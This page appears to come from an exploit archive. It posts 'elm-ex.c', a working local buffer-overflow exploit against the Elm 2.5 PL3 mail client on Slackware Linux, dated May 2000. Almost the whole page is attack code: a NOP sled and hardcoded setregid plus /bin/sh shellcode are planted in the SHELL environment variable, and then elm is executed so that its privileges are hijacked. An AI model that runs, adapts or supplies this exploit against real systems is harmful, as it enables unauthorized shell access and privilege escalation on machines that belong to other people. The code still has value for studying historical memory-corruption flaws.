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elm-ex.c

elm-ex.c
Posted May 28, 2000
Authored by Xfer | Site b0f.freebsd.lublin.pl

Elm 2.5 PL3 exploit tested under linux Slackware 3.6, 4.0, 7.0.

tags | exploit
systems | linux, slackware
SHA-256 | b1de465cf7dc580d8cf33db3c0c853843c58120a663d26845e8f21b66cc0db14

elm-ex.c

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/* 
Elm 2.5 PL3 exploit
Tested Under Linux Slackware 3.6, 4.0, 7.0
By xfer (xfer@oko.lo2.szczecin.pl)
Of Buffer0verfl0w Security
At Sat May 27 18:52:14 CEST 2000
HowTo: Hmmm.. Ya have to play with offset.
MoreInfo: Elm is shit, it has bug in each option or function ;>.
*/
#include <stdio.h>
#include <unistd.h>
#define PATH "/usr/local/bin/elm"
#define BUFFER 256
#define NOP 0x90
/* setregid + generic shell code */
char shellcode[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0"
"\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0"
"\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\x01";
unsigned long get_esp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc,char *argv[]){
char buff[BUFFER];
int x,offset=0,errno;
long address;
if(argc>1) offset=atoi(argv[1]);
address = get_esp() + offset;
fprintf(stderr,"Address: 0x%lx\nOffset: %d\nShellSize: %d\n",address,offset,strlen(shellcode));
for(x=3;x<BUFFER;x+=4) *(int *)&buff[x]=address;
for(x=0;x<(BUFFER-strlen(shellcode));x++) buff[x]=NOP;
memcpy(buff+(BUFFER-strlen(shellcode)),shellcode,strlen(shellcode));
setenv("SHELL",buff,1);
if((execl(PATH,"elm",0)) < 0) fprintf(stderr,"Kurwa Mac! No %s file ?\n",PATH);
return 0;
}
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